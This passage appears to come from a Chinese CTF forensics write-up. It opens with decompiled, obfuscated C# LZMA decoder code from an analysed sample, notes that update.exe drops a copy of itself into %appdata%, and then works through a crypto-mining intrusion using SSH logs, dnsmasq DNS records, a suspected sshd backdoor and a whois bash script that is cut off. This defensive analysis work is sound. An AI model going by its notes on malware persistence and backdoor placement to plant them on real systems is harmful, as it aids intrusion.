0x00009208 File Offset: 0x00007408 internal uint DecodeDirectBits(int A_1) { uint num = this.Range; uint num2 = this.Code; uint num3 = 0U; for (int i = A_1; i > 0; i--) { num >>= 1; uint num4 = num2 - num >> 31; num2 -= (num & num4 - 1U); num3 = (num3 << 1 | 1U - num4); if (num < 16777216U) { num2 = (num2 << 8 | (uint)((byte)this.Stream.ReadByte())); num <<= 8; } } this.Range = num; this.Code = num2; return num3; } // Token: 0x06000011 RID: 17 RVA: 0x000088DC File Offset: 0x00006ADC internal Decoder() { } // Token: 0x04000006 RID: 6 internal uint Code; // Token: 0x04000007 RID: 7 internal uint Range; // Token: 0x04000008 RID: 8 internal Stream Stream; } // Token: 0x02000006 RID: 6 private class LzmaDecoder { // Token: 0x06000012 RID: 18 RVA: 0x0000927C File Offset: 0x0000747C internal LzmaDecoder() { this.m_DictionarySize = uint.MaxValue; int num = 0; while ((long)num < 4L) { this.m_PosSlotDecoder[num] = new <Module>.BitTreeDecoder(6); num++; } } // Token: 0x06000013 RID: 19 RVA: 0x00009374 File Offset: 0x00007574 private void SetDictionarySize(uint A_1) { if (this.m_DictionarySize != A_1) { this.m_DictionarySize = A_1; this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); uint num = Math.Max(this.m_DictionarySizeCheck, 4096U); this.m_OutWindow.Create(num); } } // Token: 0x06000014 RID: 20 RVA: 0x000088E4 File Offset: 0x00006AE4 private void SetLiteralProperties(int A_1, int A_2) { this.m_LiteralDecoder.Create(A_1, A_2); } // Token: 0x06000015 RID: 21 RVA: 0x000093C0 File Offset: 0x000075C0 private void SetPosBitsProperties(int A_1) { uint num = 1U << A_1; this.m_LenDecoder.Create(num); this.m_RepLenDecoder.Create(num); this.m_PosStateMask = num - 1U; } // Token: 0x06000016 RID: 22 RVA: 0x000093F8 File Offset: 0x000075F8 private void Init(Stream A_1, Stream A_2) { this.m_RangeDecoder.Init(A_1); this.m_OutWindow.Init(A_2, this._solid); for (uint num = 0U; num < 12U; num += 1U) { for (uint num2 = 0U; num2 <= this.m_PosStateMask; num2 += 1U) { uint num3 = (num << 4) + num2; this.m_IsMatchDecoders[(int)((UIntPtr)num3)].Init(); this.m_IsRep0LongDecoders[(int)((UIntPtr)num3)].Init(); } this.m_IsRepDecoders[(int)((UIntPtr)num)].Init(); this.m_IsRepG0Decoders[(int)((UIntPtr)num)].Init(); this.m_IsRepG1Decoders[(int)((UIntPtr)num)].Init(); this.m_IsRepG2Decoders[(int)((UIntPtr)num)].Init(); } this.m_LiteralDecoder.Init(); for (uint num = 0U; num < 4U; num += 1U) { this.m_PosSlotDecoder[(int)((UIntPtr)num)].Init(); } for (uint num = 0U; num < 114U; num += 1U) { this.m_PosDecoders[(int)((UIntPtr)num)].Init(); } this.m_LenDecoder.Init(); this.m_RepLenDecoder.Init(); this.m_PosAlignDecoder.Init(); } // Token: 0x06000017 RID: 23 RVA: 0x00009524 File Offset: 0x00007724 internal void Code(Stream A_1, Stream A_2, long A_3, long A_4) { this.Init(A_1, A_2); <Module>.State state = default(<Module>.State); state.Init(); uint num = 0U; uint num2 = 0U; uint num3 = 0U; uint num4 = 0U; ulong num5 = 0UL; if (num5 < (ulong)A_4) { this.m_IsMatchDecoders[(int)((UIntPtr)(state.Index << 4))].Decode(this.m_RangeDecoder); state.UpdateChar(); byte b = this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, 0); this.m_OutWindow.PutByte(b); num5 += 1UL; } while (num5 < (ulong)A_4) { uint num6 = (uint)num5 & this.m_PosStateMask; if (this.m_IsMatchDecoders[(int)((UIntPtr)((state.Index << 4) + num6))].Decode(this.m_RangeDecoder) == 0U) { byte @byte = this.m_OutWindow.GetByte(0U); byte b2; if (!state.IsCharState()) { b2 = this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint)num5, @byte, this.m_OutWindow.GetByte(num)); } else { b2 = this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint)num5, @byte); } this.m_OutWindow.PutByte(b2); state.UpdateChar(); num5 += 1UL; } else { uint num8; if (this.m_IsRepDecoders[(int)((UIntPtr)state.Index)].Decode(this.m_RangeDecoder) == 1U) { if (this.m_IsRepG0Decoders[(int)((UIntPtr)state.Index)].Decode(this.m_RangeDecoder) == 0U) { if (this.m_IsRep0LongDecoders[(int)((UIntPtr)((state.Index << 4) + num6))].Decode(this.m_RangeDecoder) == 0U) { state.UpdateShortRep(); this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(num)); num5 += 1UL; continue; } } else { uint num7; if (this.m_IsRepG1Decoders[(int)((UIntPtr)state.Index)].Decode(this.m_RangeDecoder) == 0U) { num7 = num2; } else { if (this.m_IsRepG2Decoders[(int)((UIntPtr)state.Index)].Decode(this.m_RangeDecoder) == 0U) { num7 = num3; } else { num7 = num4; num4 = num3; } num3 = num2; } num2 = num; num = num7; } num8 = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, num6) + 2U; state.UpdateRep(); } else { num4 = num3; num3 = num2; num2 = num; num8 = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, num6); state.UpdateMatch(); uint num9 = this.m_PosSlotDecoder[(int)((UIntPtr)<Module>.LzmaDecoder.GetLenToPosState(num8))].Decode(this.m_RangeDecoder); if (num9 >= 4U) { int num10 = (int)((num9 >> 1) - 1U); num = (2U | (num9 & 1U)) << num10; if (num9 < 14U) { num += <Module>.BitTreeDecoder.ReverseDecode(this.m_PosDecoders, num - num9 - 1U, this.m_RangeDecoder, num10); } else { num += this.m_RangeDecoder.DecodeDirectBits(num10 - 4) << 4; num += this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder); } } else { num = num9; } } if (((ulong)num >= num5 || num >= this.m_DictionarySizeCheck) && num == 4294967295U) { break; } this.m_OutWindow.CopyBlock(num, num8); num5 += (ulong)num8; } } this.m_OutWindow.Flush(); this.m_OutWindow.ReleaseStream(); this.m_RangeDecoder.ReleaseStream(); } // Token: 0x06000018 RID: 24 RVA: 0x00009874 File Offset: 0x00007A74 internal void SetDecoderProperties(byte[] A_1) { int num = (int)(A_1[0] % 9); int num2 = (int)(A_1[0] / 9); int num3 = num2 % 5; int posBitsProperties = num2 / 5; uint num4 = 0U; for (int i = 0; i < 4; i++) { num4 += (uint)((uint)A_1[1 + i] << i * 8); } this.SetDictionarySize(num4); this.SetLiteralProperties(num3, num); this.SetPosBitsProperties(posBitsProperties); } // Token: 0x06000019 RID: 25 RVA: 0x000088F3 File Offset: 0x00006AF3 private static uint GetLenToPosState(uint A_0) { A_0 -= 2U; if (A_0 < 4U) { return A_0; } return 3U; } // Token: 0x04000009 RID: 9 private readonly <Module>.BitDecoder[] m_IsMatchDecoders = new <Module>.BitDecoder[192]; // Token: 0x0400000A RID: 10 private readonly <Module>.BitDecoder[] m_IsRep0LongDecoders = new <Module>.BitDecoder[192]; // Token: 0x0400000B RID: 11 private readonly <Module>.BitDecoder[] m_IsRepDecoders = new <Module>.BitDecoder[12]; // Token: 0x0400000C RID: 12 private readonly <Module>.BitDecoder[] m_IsRepG0Decoders = new <Module>.BitDecoder[12]; // Token: 0x0400000D RID: 13 private readonly <Module>.BitDecoder[] m_IsRepG1Decoders = new <Module>.BitDecoder[12]; // Token: 0x0400000E RID: 14 private readonly <Module>.BitDecoder[] m_IsRepG2Decoders = new <Module>.BitDecoder[12]; // Token: 0x0400000F RID: 15 private readonly <Module>.LzmaDecoder.LenDecoder m_LenDecoder = new <Module>.LzmaDecoder.LenDecoder(); // Token: 0x04000010 RID: 16 private readonly <Module>.LzmaDecoder.LiteralDecoder m_LiteralDecoder = new <Module>.LzmaDecoder.LiteralDecoder(); // Token: 0x04000011 RID: 17 private readonly <Module>.OutWindow m_OutWindow = new <Module>.OutWindow(); // Token: 0x04000012 RID: 18 private readonly <Module>.BitDecoder[] m_PosDecoders = new <Module>.BitDecoder[114]; // Token: 0x04000013 RID: 19 private readonly <Module>.BitTreeDecoder[] m_PosSlotDecoder = new <Module>.BitTreeDecoder[4]; // Token: 0x04000014 RID: 20 private readonly <Module>.Decoder m_RangeDecoder = new <Module>.Decoder(); // Token: 0x04000015 RID: 21 private readonly <Module>.LzmaDecoder.LenDecoder m_RepLenDecoder = new <Module>.LzmaDecoder.LenDecoder(); // Token: 0x04000016 RID: 22 private bool _solid; // Token: 0x04000017 RID: 23 private uint m_DictionarySize; // Token: 0x04000018 RID: 24 private uint m_DictionarySizeCheck; // Token: 0x04000019 RID: 25 private <Module>.BitTreeDecoder m_PosAlignDecoder = new <Module>.BitTreeDecoder(4); // Token: 0x0400001A RID: 26 private uint m_PosStateMask; // Token: 0x02000007 RID: 7 private class LenDecoder { // Token: 0x0600001A RID: 26 RVA: 0x000098D4 File Offset: 0x00007AD4 internal void Create(uint A_1) { for (uint num = this.m_NumPosStates; num < A_1; num += 1U) { this.m_LowCoder[(int)((UIntPtr)num)] = new <Module>.BitTreeDecoder(3); this.m_MidCoder[(int)((UIntPtr)num)] = new <Module>.BitTreeDecoder(3); } this.m_NumPosStates = A_1; } // Token: 0x0600001B RID: 27 RVA: 0x0000992C File Offset: 0x00007B2C internal void Init() { this.m_Choice.Init(); for (uint num = 0U; num < this.m_NumPosStates; num += 1U) { this.m_LowCoder[(int)((UIntPtr)num)].Init(); this.m_MidCoder[(int)((UIntPtr)num)].Init(); } this.m_Choice2.Init(); this.m_HighCoder.Init(); } // Token: 0x0600001C RID: 28 RVA: 0x00009990 File Offset: 0x00007B90 internal uint Decode(<Module>.Decoder A_1, uint A_2) { if (this.m_Choice.Decode(A_1) == 0U) { return this.m_LowCoder[(int)((UIntPtr)A_2)].Decode(A_1); } uint num = 8U; if (this.m_Choice2.Decode(A_1) == 0U) { num += this.m_MidCoder[(int)((UIntPtr)A_2)].Decode(A_1); } else { num += 8U; num += this.m_HighCoder.Decode(A_1); } return num; } // Token: 0x0600001D RID: 29 RVA: 0x000099FC File Offset: 0x00007BFC internal LenDecoder() { } // Token: 0x0400001B RID: 27 private readonly <Module>.BitTreeDecoder[] m_LowCoder = new <Module>.BitTreeDecoder[16]; // Token: 0x0400001C RID: 28 private readonly <Module>.BitTreeDecoder[] m_MidCoder = new <Module>.BitTreeDecoder[16]; // Token: 0x0400001D RID: 29 private <Module>.BitDecoder m_Choice = default(<Module>.BitDecoder); // Token: 0x0400001E RID: 30 private <Module>.BitDecoder m_Choice2 = default(<Module>.BitDecoder); // Token: 0x0400001F RID: 31 private <Module>.BitTreeDecoder m_HighCoder = new <Module>.BitTreeDecoder(8); // Token: 0x04000020 RID: 32 private uint m_NumPosStates; } // Token: 0x02000008 RID: 8 private class LiteralDecoder { // Token: 0x0600001E RID: 30 RVA: 0x00009A50 File Offset: 0x00007C50 internal void Create(int A_1, int A_2) { if (this.m_Coders != null && this.m_NumPrevBits == A_2 && this.m_NumPosBits == A_1) { return; } this.m_NumPosBits = A_1; this.m_PosMask = (1U << A_1) - 1U; this.m_NumPrevBits = A_2; uint num = 1U << this.m_NumPrevBits + this.m_NumPosBits; this.m_Coders = new <Module>.LzmaDecoder.LiteralDecoder.Decoder2[num]; for (uint num2 = 0U; num2 < num; num2 += 1U) { this.m_Coders[(int)((UIntPtr)num2)].Create(); } } // Token: 0x0600001F RID: 31 RVA: 0x00009AD4 File Offset: 0x00007CD4 internal void Init() { uint num = 1U << this.m_NumPrevBits + this.m_NumPosBits; for (uint num2 = 0U; num2 < num; num2 += 1U) { this.m_Coders[(int)((UIntPtr)num2)].Init(); } } // Token: 0x06000020 RID: 32 RVA: 0x00008901 File Offset: 0x00006B01 private uint GetState(uint A_1, byte A_2) { return ((A_1 & this.m_PosMask) << this.m_NumPrevBits) + (uint)(A_2 >> 8 - this.m_NumPrevBits); } // Token: 0x06000021 RID: 33 RVA: 0x00008923 File Offset: 0x00006B23 internal byte DecodeNormal(<Module>.Decoder A_1, uint A_2, byte A_3) { return this.m_Coders[(int)((UIntPtr)this.GetState(A_2, A_3))].DecodeNormal(A_1); } // Token: 0x06000022 RID: 34 RVA: 0x0000893F File Offset: 0x00006B3F internal byte DecodeWithMatchByte(<Module>.Decoder A_1, uint A_2, byte A_3, byte A_4) { return this.m_Coders[(int)((UIntPtr)this.GetState(A_2, A_3))].DecodeWithMatchByte(A_1, A_4); } // Token: 0x06000023 RID: 35 RVA: 0x000088DC File Offset: 0x00006ADC internal LiteralDecoder() { } // Token: 0x04000021 RID: 33 private <Module>.LzmaDecoder.LiteralDecoder.Decoder2[] m_Coders; // Token: 0x04000022 RID: 34 private int m_NumPosBits; // Token: 0x04000023 RID: 35 private int m_NumPrevBits; // Token: 0x04000024 RID: 36 private uint m_PosMask; // Token: 0x02000009 RID: 9 private struct Decoder2 { // Token: 0x06000024 RID: 36 RVA: 0x0000895D File Offset: 0x00006B5D internal void Create() { this.m_Decoders = new <Module>.BitDecoder[768]; } // Token: 0x06000025 RID: 37 RVA: 0x00009B14 File Offset: 0x00007D14 internal void Init() { for (int i = 0; i < 768; i++) { this.m_Decoders[i].Init(); } } // Token: 0x06000026 RID: 38 RVA: 0x00009B44 File Offset: 0x00007D44 internal byte DecodeNormal(<Module>.Decoder A_1) { uint num = 1U; do { num = (num << 1 | this.m_Decoders[(int)((UIntPtr)num)].Decode(A_1)); } while (num < 256U); return (byte)num; } // Token: 0x06000027 RID: 39 RVA: 0x00009B78 File Offset: 0x00007D78 internal byte DecodeWithMatchByte(<Module>.Decoder A_1, byte A_2) { uint num = 1U; for (;;) { uint num2 = (uint)(A_2 >> 7 & 1); A_2 = (byte)(A_2 << 1); uint num3 = this.m_Decoders[(int)((UIntPtr)((1U + num2 << 8) + num))].Decode(A_1); num = (num << 1 | num3); if (num2 != num3) { break; } if (num >= 256U) { goto IL_5E; } } while (num < 256U) { num = (num << 1 | this.m_Decoders[(int)((UIntPtr)num)].Decode(A_1)); } IL_5E: return (byte)num; } // Token: 0x04000025 RID: 37 private <Module>.BitDecoder[] m_Decoders; } } } // Token: 0x0200000A RID: 10 private class OutWindow { // Token: 0x06000028 RID: 40 RVA: 0x0000896F File Offset: 0x00006B6F internal void Create(uint A_1) { if (this._windowSize != A_1) { this._buffer = new byte[A_1]; } this._windowSize = A_1; this._pos = 0U; this._streamPos = 0U; } // Token: 0x06000029 RID: 41 RVA: 0x0000899C File Offset: 0x00006B9C internal void Init(Stream A_1, bool A_2) { this.ReleaseStream(); this._stream = A_1; if (!A_2) { this._streamPos = 0U; this._pos = 0U; } } // Token: 0x0600002A RID: 42 RVA: 0x000089BC File Offset: 0x00006BBC internal void ReleaseStream() { this.Flush(); this._stream = null; Buffer.BlockCopy(new byte[this._buffer.Length], 0, this._buffer, 0, this._buffer.Length); } // Token: 0x0600002B RID: 43 RVA: 0x00009BE8 File Offset: 0x00007DE8 internal void Flush() { uint num = this._pos - this._streamPos; if (num == 0U) { return; } this._stream.Write(this._buffer, (int)this._streamPos, (int)num); if (this._pos >= this._windowSize) { this._pos = 0U; } this._streamPos = this._pos; } // Token: 0x0600002C RID: 44 RVA: 0x00009C40 File Offset: 0x00007E40 internal void CopyBlock(uint A_1, uint A_2) { uint num = this._pos - A_1 - 1U; if (num >= this._windowSize) { num += this._windowSize; } while (A_2 > 0U) { if (num >= this._windowSize) { num = 0U; } this._buffer[(int)((UIntPtr)(this._pos++))] = this._buffer[(int)((UIntPtr)(num++))]; if (this._pos >= this._windowSize) { this.Flush(); } A_2 -= 1U; } } // Token: 0x0600002D RID: 45 RVA: 0x00009CBC File Offset: 0x00007EBC internal void PutByte(byte A_1) { this._buffer[(int)((UIntPtr)(this._pos++))] = A_1; if (this._pos >= this._windowSize) { this.Flush(); } } // Token: 0x0600002E RID: 46 RVA: 0x00009CF8 File Offset: 0x00007EF8 internal byte GetByte(uint A_1) { uint num = this._pos - A_1 - 1U; if (num >= this._windowSize) { num += this._windowSize; } return this._buffer[(int)((UIntPtr)num)]; } // Token: 0x0600002F RID: 47 RVA: 0x000088DC File Offset: 0x00006ADC internal OutWindow() { } // Token: 0x04000026 RID: 38 private byte[] _buffer; // Token: 0x04000027 RID: 39 private uint _pos; // Token: 0x04000028 RID: 40 private Stream _stream; // Token: 0x04000029 RID: 41 private uint _streamPos; // Token: 0x0400002A RID: 42 private uint _windowSize; } // Token: 0x0200000B RID: 11 private struct State { // Token: 0x06000030 RID: 48 RVA: 0x000089ED File Offset: 0x00006BED internal void Init() { this.Index = 0U; } // Token: 0x06000031 RID: 49 RVA: 0x000089F6 File Offset: 0x00006BF6 internal void UpdateChar() { if (this.Index < 4U) { this.Index = 0U; return; } if (this.Index < 10U) { this.Index -= 3U; return; } this.Index -= 6U; } // Token: 0x06000032 RID: 50 RVA: 0x00008A30 File Offset: 0x00006C30 internal void UpdateMatch() { this.Index = ((this.Index < 7U) ? 7U : 10U); } // Token: 0x06000033 RID: 51 RVA: 0x00008A46 File Offset: 0x00006C46 internal void UpdateRep() { this.Index = ((this.Index < 7U) ? 8U : 11U); } // Token: 0x06000034 RID: 52 RVA: 0x00008A5C File Offset: 0x00006C5C internal void UpdateShortRep() { this.Index = ((this.Index < 7U) ? 9U : 11U); } // Token: 0x06000035 RID: 53 RVA: 0x00008A73 File Offset: 0x00006C73 internal bool IsCharState() { return this.Index < 7U; } // Token: 0x0400002B RID: 43 internal uint Index; } } 再上一次沙箱,这次用 update.exe https://sandbox.ti.qianxin.com/sandbox/page/detail?id=f824677aa030d11ef52d9f5789eac4e275cd0091&type=file 发现了释放了update452tmp.exe到 %appdata% 再把这个拿出来上沙箱,好像没区别了,应该就是把自己复制一份放过去 那重点应该还是在 update.exe 上面 没招了 Silentminer 铛,铛,铛,洞穴里传来铁镐敲击石头的声音。 回答以下问题,每个问题都是一个单独的flag: 攻击者的ip地址 攻击者共进行多少次ssh口令爆破失败? 后门文件路径的绝对路径 攻击者用户分发恶意文件的域名(注意系统时区) 挖矿病毒所属的家族(全小写) SSH 日志能看到第一题的 IP,同时能查到第二题的数量 1 Aug 10 10:00:14 lee-virtual-machine sshd[83820]: Accepted password for lee from 192.168.145.131 port 37864 ssh2 修改了多次sshd文件,推测后门可能放在sshd service里面 从/var/log/dnsmasq.log中提取dns记录和域名 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 1341512.sched.sma.tdnsstic1.cn 488928.sched.skalego-dk.tdnsstic1.cn 5015c0hc.sched.sma-dk.tdnsstic1.cn 872923.sched.sma-dk.tdnsstic1.cn 8n0p1hpu.sched.sma-dk.tdnsstic1.cn a-0001.a-msedge.net a.sinaimg.cn api.cupid.dns.iqiyi.com apigw-v6-data.video.iqiyi.com apigw-v6.iqiyi.com asinaimg.gslb.sinaedge.com aus5.mozilla.org ax.ifeng.com baidu.com balrog-aus5.r53-2.services.mozilla.com bd-l7-online-tob-default-ipv6.s.bdsa.cdnbuild.net best.sched.skalego-dk.tdnsstic1.cn best.sched.sma.tdnsstic1.cn bfdmirrors.s.tuna.tsinghua.edu.cn big1.ifengcdn.com c0.ifengimg.com c0.ifengimg.com.cdn.dnsv1.com c206825.edgekey.net cac-ocsp.digicert.com.edgekey.net cb.e.shifen.com cdn.globalsigncdn.com.cdn.cloudflare.net changelogs.ubuntu.com cm.adxvip.com cm.fastapi.net cn-bing-com.cn.a-0001.a-msedge.net cn.bing.com connectivity-check.ubuntu.com console.zhibo.ifeng.com content-signature-2.cdn.mozilla.net content-signature-chains.prod.autograph.services.mozaws.net contile.services.mozilla.com cook.iqiyi.com cpro.baidustatic.com cpro.baidustatic.com.a.bdydns.com cs3.ifengcdn.com cstaticdun.126.net cstaticdun.126.net.163jiasu.com cstaticdun.126.net.db8bff76.c.cdnhwc1.com d.ifengimg.com d.ifengimg.com.cdn.dnsv1.com d.sinaimg.cn daisy.ubuntu.com data.video.dns.iqiyi.com data.video.iqiyi.com datahub.zhihu.com detectportal.firefox.com detectportal.prod.mozaws.net dfp-business.iqiyi.com dmae5mr9.sched.sma.tdnsstic1.cn dsinaimg.gslb.sinaedge.com dsp.djc888.cn e206825.dsca.akamaiedge.net e3913.cd.akamaiedge.net e9qw5a14.sched.sma.tdnsstic1.cn eclick.baidu.com eclick.e.shifen.com err.ifengcloud.ifeng.com example.org f.video.weibocdn.com f10.baidu.com f10.baidu.com.a.bdydns.com fc4tn.baidu.com fc4tn.baidu.com.a.bdydns.com firefox.settings.services.mozilla.com fvideo.gslb.sinaedge.com fzv05913.sched.sma-dk.tdnsstic1.cn google.com h5.sinaimg.cn h5sinaimg.gslb.sinaedge.com hcdnw101.vip.cdnhwcbzj102.com hm.baidu.com hm.e.shifen.com i.sso.sina.com.cn img.cdn.iqiyi.com img.ifeng.com img.ifeng.com.cdn.dnsv1.com incoming.telemetry.mozilla.org iphuph98.sched.sma-dk.tdnsstic1.cn ipv4only.arpa ipv6-static.dns.iqiyi.com kln.grid.sinaedge.com lb-7pyifl1r-vkwri1j49sb230hx.clb.ap-beijing.tencentclb.com lb-7szg5pyd-8jgvnzhtb0d4qciw.clb.ap-beijing.tencentclb.com lb-tsn01-offline.zhihu.com login.sina.com.cn lupic.cdn.bcebos.com lupic.cdn.bcebos.com.a.bdydns.com m.iqiyipic.com mesh.if.iqiyi.com mirrors.tuna.tsinghua.edu.cn msg.qy.net msg.video.dns.iqiyi.com o.pki.goog ocsp.comodoca.com.cdn.cloudflare.net ocsp.dcocsp.cn ocsp.dcocsp.cn.w.kunlunar.com ocsp.digicert.cn ocsp.digicert.cn.w.cdngslb.com ocsp.digicert.com ocsp.edge.digicert.com ocsp.globalsign.com ocsp.sectigo.com ocsp.sectigochina.com ocsp.sectigochina.com.cdn.cloudflare.net ocsp.trust-provider.cn ocsp.trust-provider.cn.c.vedcdnlb.com opencdnbdfctn.jomodns.com opencdnbdsimage.jomodns.com opencdnbdv6.f24i25ec.hzyidc.com opencdnbdv6.jomodns.com opencdnbdwm2.jomodns.com opencdnh3.jomodns.com opencdniqiyistaticv6.jomodns.com opencdnsslv6.jomodns.com opencdnzhihustatic.jomodns.com p0.ifengimg.com p0.ifengimg.com.cdn.dnsv1.com p1.ifengimg.com p1.ifengimg.com.cdn.dnsv1.com passport.weibo.com pdb.5hte21mz.com pic.cdn.iqiyi.com pic0.iqiyipic.com pic1.iqiyipic.com pic2.iqiyipic.com pic2.zhimg.com pic2.zhimg.com.a.bdydns.com pic3.iqiyipic.com pic3.zhimg.com pic3.zhimg.com.a.bdydns.com pic4.iqiyipic.com pic5.iqiyipic.com pic6.iqiyipic.com pic7.iqiyipic.com pic8.iqiyipic.com pic9.iqiyipic.com pica.zhimg.com pica.zhimg.com.a.bdydns.com picx.zhimg.com picx.zhimg.com.bytexns.com picx.zhimg.com.volcgslb.com pki-goog.l.google.com pos.baidu.com prod.balrog.prod.cloudops.mozgcp.net prod.detectportal.prod.cloudops.mozgcp.net prod.remote-settings.prod.webservices.mozgcp.net prod.sumo.prod.webservices.mozgcp.net push.services.mozilla.com region.ifeng.com render-server.cdn.bcebos.com render-server.cdn.bcebos.com.a.bdydns.com resolv.conf revive.outin.cn s.adxvip.com s.cpro.baidu.com s.cpro.e.shifen.com safebrowsing.googleapis.com security.iqiyi.com services.addons.mozilla.org shankapi.ifeng.com shankapi.ifeng.com.cdn.dnsv1.com simg.s.weibo.com simgs.gslb.sinaedge.com slb-01-rb-ipv6.ctripgslb.com slb-01-xy-rb-ali-ctrip1.ctripgslb.com slb-01-xy-rb-ali.ctripgslb.com slb-rb-cnc-ipv6-01.ctripgslb.com spool.grid.sinaedge.com stadig.ifeng.com static-d.iqiyi.com static-s.iqiyi.com static-sd.cdn.iqiyi.com static.cdn.iqiyi.com static.geetest.com static.geetest.com.eo.dnse2.com static.iqiyi.com static.outin.cn static.outin.cn.w.kunlunaq.com static.zhihu.com static.zhihu.com.cdn.dnsv1.com status.geotrust.com stc.iqiyipic.com support.mozilla.org sx-region-all.volcgtm.com t7z.cupid.iqiyi.com telemetry-incoming.r53-2.services.mozilla.com tombaky.com tvax1.sinaimg.cn tvax2.sinaimg.cn tvax3.sinaimg.cn tvax4.sinaimg.cn tvaxweibo.grid.sinaedge.com tvaxweibo.gslb.sinaedge.com unpkg.zhimg.com unpkg.zhimg.com.w.kunlunar.com us-west1.prod.sumo.prod.webservices.mozgcp.net us.grid.sinaedge.com v6-data.video.dns.iqiyi.com weibo.com weiboimgwx.grid.sinaedge.com weiboimgwx.gslb.sinaedge.com wn.pos.baidu.com wn.pos.e.shifen.com ww1.sinaimg.cn.w.alikunlun.com www.a.shifen.com www.baidu.com www.ctrip.com www.ifeng.com www.ifeng.com.cdn.dnsv1.com www.iqiyi.com www.wshifen.com www.zhihu.com www.zhihu.com.eo.dnse0.com wx1.sinaimg.cn wx3.sinaimg.cn wx4.sinaimg.cn x0.ifengimg.com x0.ifengimg.com.cdn.dnsv1.com x2.ifengimg.com x2.ifengimg.com.cdn.dnsv1.com y0.ifengimg.com y0.ifengimg.com.cdn.dnsv1.com y1.ifengimg.com y1.ifengimg.com.cdn.dnsv1.com zerossl.ocsp.sectigo.com zhihu-web-analytics.zhihu.com zhihu-web-analytics.zhihu.com.eo.dnse0.com 从中筛选可疑域名 选取根域名查询whois 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 tdnsstic1.cn a-msedge.net sinaimg.cn iqiyi.com sinaedge.com mozilla.org ifeng.com baidu.com mozilla.com cdnbuild.net edu.cn ifengcdn.com ifengimg.com dnsv1.com edgekey.net shifen.com cloudflare.net ubuntu.com adxvip.com fastapi.net bing.com mozilla.net mozaws.net baidustatic.com bdydns.com 126.net 163jiasu.com cdnhwc1.com zhihu.com firefox.com djc888.cn akamaiedge.net example.org weibocdn.com google.com cdnhwcbzj102.com com.cn ipv4only.arpa tencentclb.com bcebos.com iqiyipic.com qy.net pki.goog dcocsp.cn kunlunar.com digicert.cn cdngslb.com digicert.com globalsign.com sectigo.com sectigochina.com trust-provider.cn vedcdnlb.com jomodns.com hzyidc.com weibo.com 5hte21mz.com zhimg.com bytexns.com volcgslb.com mozgcp.net resolv.conf outin.cn googleapis.com ctripgslb.com geetest.com dnse2.com kunlunaq.com geotrust.com volcgtm.com tombaky.com alikunlun.com ctrip.com wshifen.com dnse0.com dnse0.com 题目说注意时区,这个机子用的是 America/Los_Angeles 让ai写一个脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 #!/bin/bash # 定义要查询的域名列表 DOMAINS=( tdnsstic1.cn a-msedge.net sinaimg.cn iqiyi.com sinaedge.com mozilla.org ifeng.com baidu.com mozilla.com cdnbuild.net edu.cn ifengcdn.com ifengimg.com dnsv1.com edgekey.net shifen.com cloudflare.net ubuntu.com adxvip.com fastapi.net bing.com mozilla.net mozaws.net baidustatic.com bdydns.com 126.net 163jiasu.com cdnhwc1.com zhihu.com firefox.com djc888.cn akamaiedge.net example.org weibocdn.com google.com cdnhwcbzj102.com com.cn ipv4only.arpa tencentclb.com bcebos.com iqiyipic.com qy.net pki.goog dcocsp.cn kunlunar.com digicert.cn cdngslb.com digicert.com globalsign.com sectigo.com sectigochina.com trust-provider.cn vedcdnlb.com jomodns.com hzyidc.com weibo.com 5hte21mz.com zhimg.com bytexns.com volcgslb.com mozgcp.net resolv.conf outin.cn googleapis.com ctripgslb.com geetest.com dnse2.com kunlunaq.com geotrust.com volcgtm.com tombaky.com alikunlun.com ctrip.com wshifen.com dnse0.com ) # 循环遍历域名列表 for domain in "${DOMAINS[@]}"; do echo "========================================" echo "查询域名: $domain" echo "----------------------------------------" # 执行 whois 命令并将输出存储在变量中 # 对 .cn 域名使用特定的服务器以获得更准确的格式 if [[ "$domain" == *.cn ]]; then raw_output=$(whois -h whois.cnnic.cn "$domain") else raw_output=$(whois "$domain") fi # 使用 grep 和正则表达式来筛选包含特定关键词的行 # -i: 忽略大小写 # -E: 使用扩展正则表达式,可以用 | 来表示“或” # ^\s*: 匹配行首的任意空格,确保我们匹配的是字段名而不是描述文本 # (Creation|Registration|Updated|Modified|Expiry|Expiration|Sponsoring|Commencement): 匹配各种关键词 # .*: 匹配该行的剩余部分 filtered_info=$(echo "$raw_output" | grep -iE '^\s*(Creation Date|Registration Time|Registered on|Updated Date|Last Modified|Last update of whois database)\s*:') # 检查是否找到了信息 if [ -n "$filtered_info" ]; then echo "$filtered_info" else echo 